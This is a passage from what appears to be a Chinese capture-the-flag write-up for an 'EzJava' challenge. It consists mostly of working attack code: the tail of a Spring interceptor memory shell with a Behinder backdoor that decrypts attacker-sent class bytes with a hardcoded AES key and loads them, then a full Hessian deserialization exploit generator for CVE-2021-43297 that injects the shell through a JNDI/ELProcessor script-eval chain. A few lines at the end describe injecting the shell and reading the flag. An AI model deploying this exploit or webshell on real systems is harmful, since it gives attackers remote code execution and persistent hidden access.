hbmcvUHJvY2VzczsBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAEcmVhZAEABShbQilJAQAFd3JpdGUBAAUoW0IpVgEACGdldEJ5dGVzAQAEKClbQgEABWNsb3NlAQALdG9CeXRlQXJyYXkBAAVmbHVzaAAhAA8AJgABACcAAAAFAAEAKAApAAIAKgAAAMoABAAFAAAASiq3AAG4AALAAAO2AAS5AAUBALgABkwrEge5AAgCAMAAB00SCRIKtgALTi0EtgAMLSy2AA3AAA46BBkEuwAPWQS3ABC5ABECAFexAAAAAwArAAAAIgAIAAAAGQAEABsAFgAeACIAIQAqACIALwAjADkAJABJACgALAAAADQABQAAAEoALQAuAAAAFgA0AC8AMAABACIAKAAxADIAAgAqACAAMwA0AAMAOQARADUANgAEADcAAAAMAAEAOQARADUAOAAEADkAAAAEAAEAOgABACgAOwACACoAAAA9AAEAAgAAAAUqtwABsQAAAAIAKwAAAAoAAgAAACoABAAsACwAAAAWAAIAAAAFAC0ALgAAAAAABQA8AD0AAQA+AAAABQEAPAAAAAEAPwBAAAMAKgAAAEkAAAAEAAAAAbEAAAACACsAAAAGAAEAAAAxACwAAAAqAAQAAAABAC0ALgAAAAAAAQBBAEIAAQAAAAEAQwBEAAIAAAABAEUARgADADkAAAAEAAEARwA+AAAADQMAQQAAAEMAAABFAAAAAQA/AEgAAwAqAAAAPwAAAAMAAAABsQAAAAIAKwAAAAYAAQAAADYALAAAACAAAwAAAAEALQAuAAAAAAABAEEAQgABAAAAAQBJAEoAAgA5AAAABAABAEcAPgAAAAkCAEEAAABJAAAAAQBLAEwAAwAqAAABtwADAAsAAACDKxISuQATAgA6BCwRAMi5ABQCACwSFRIWuQAXAwAZBMYAYiy5ABgBADoFuAAZGQS2ABo6BhkGtgAbOge7ABxZtwAdOggRBAC8CDoKGQcZCrYAHlk2CQKfAA0ZCBkKtgAfp//rGQgSILYAIbYAHxkHtgAiGQUZCLYAI7YAJBkFtgAlBKwAAAADACsAAABCABAAAAA6AAoAOwATADwAHQA9ACIAPgAqAD8ANABAADsAQQBEAEMASwBEAFkARQBjAEcAbQBIAHIASQB8AEoAgQBMACwAAABwAAsAKgBXAE0ATgAFADQATQBPAFAABgA7AEYAUQBSAAcARAA9AFMAVAAIAFUALAA8AD0ACQBLADYAVQBWAAoAAACDAC0ALgAAAAAAgwBXAFgAAQAAAIMAWQBaAAIAAACDAEUAWwADAAoAeQBcAF0ABABeAAAAZAAD/wBLAAsHAF8HAGAHAGEHAGIHAGMHAGQHAGUHAGYHAGcABwBoAAD/ABcACwcAXwcAYAcAYQcAYgcAYwcAZAcAZQcAZgcAZwEHAGgAAP8AHQAFBwBfBwBgBwBhBwBiBwBjAAAAOQAAAAQAAQA6AD4AAAANAwBXAAAAWQAAAEUAAAABAGkAAAACAGpwdAAFSGVsbG9wdwEAeHg=";
                String result = "{\"code\": \"200\", \"message\": \"" + payload + "\"}";
                OutputStream output = response.getOutputStream();
                output.write(result.getBytes());
                output.flush();
            }
            counter ++;
            return false;
        }

        if (request.getMethod().equals("POST") && "true".equals(request.getHeader("Behinder"))) {
            try {
                String k = "e45e329feb5d925b";
                session.putValue("u", k);
                Cipher c = Cipher.getInstance("AES");
                c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
                byte[] data = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
                Method m = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
                m.setAccessible(true);
                Class clazz = (Class) m.invoke(Thread.currentThread().getContextClassLoader(),data, 0, data.length);
                clazz.newInstance().equals(pageContext);
            } catch (Exception e) {
                e.printStackTrace();
            }
            return false;
        } else {
            return true;
        }
    }
}

payload

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
package com.example.Hessian;

import com.alibaba.fastjson.JSONArray;
import com.example.MemShell.SpringInterceptorBehinderForEzJava;
import com.example.Serialization;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.naming.ResourceRef;

import javax.naming.CannotProceedException;
import javax.naming.Context;
import javax.naming.StringRefAddr;
import java.lang.reflect.Constructor;
import java.net.URLEncoder;
import java.util.Base64;
import java.util.Hashtable;

public class CVE_2021_43297_ForEzjava {
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(SpringInterceptorBehinderForEzJava.class.getName());
        clazz.setName("Evil");
        String clazz_base64 = Base64.getEncoder().encodeToString(clazz.toBytecode());

        String code = "var bytes = org.apache.tomcat.util.codec.binary.Base64.decodeBase64('" + clazz_base64 + "');\n" +
                "var classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n" +
                "var method = java.lang.ClassLoader.class.getDeclaredMethod('defineClass', ''.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);\n" +
                "method.setAccessible(true);\n" +
                "var clazz = method.invoke(classLoader, bytes, 0, bytes.length);\n" +
                "clazz.newInstance();";


        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
        ref.add(new StringRefAddr("forceString", "x=eval"));
        ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"" + code + "\")"));

        CannotProceedException cpe = new CannotProceedException();
        cpe.setResolvedObj(ref);

        Constructor constructor = Class.forName("javax.naming.spi.ContinuationContext").getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
        constructor.setAccessible(true);
        Context context = (Context) constructor.newInstance(cpe, new Hashtable<>());

        JSONArray jsonArray = new JSONArray();
        jsonArray.add(context);

        byte[] data = Serialization.hessian2Serialize(jsonArray);
        byte[] poc = new byte[data.length + 1];
        System.arraycopy(new byte[]{67}, 0, poc, 0, 1);
        System.arraycopy(data, 0, poc, 1, data.length);
        System.out.println(URLEncoder.encode(Base64.getEncoder().encodeToString(poc)));
    }
}

registry 注入冰蝎

registry 向 server 请求两次 status, 在 server 端注入内存马

查看 flag

0%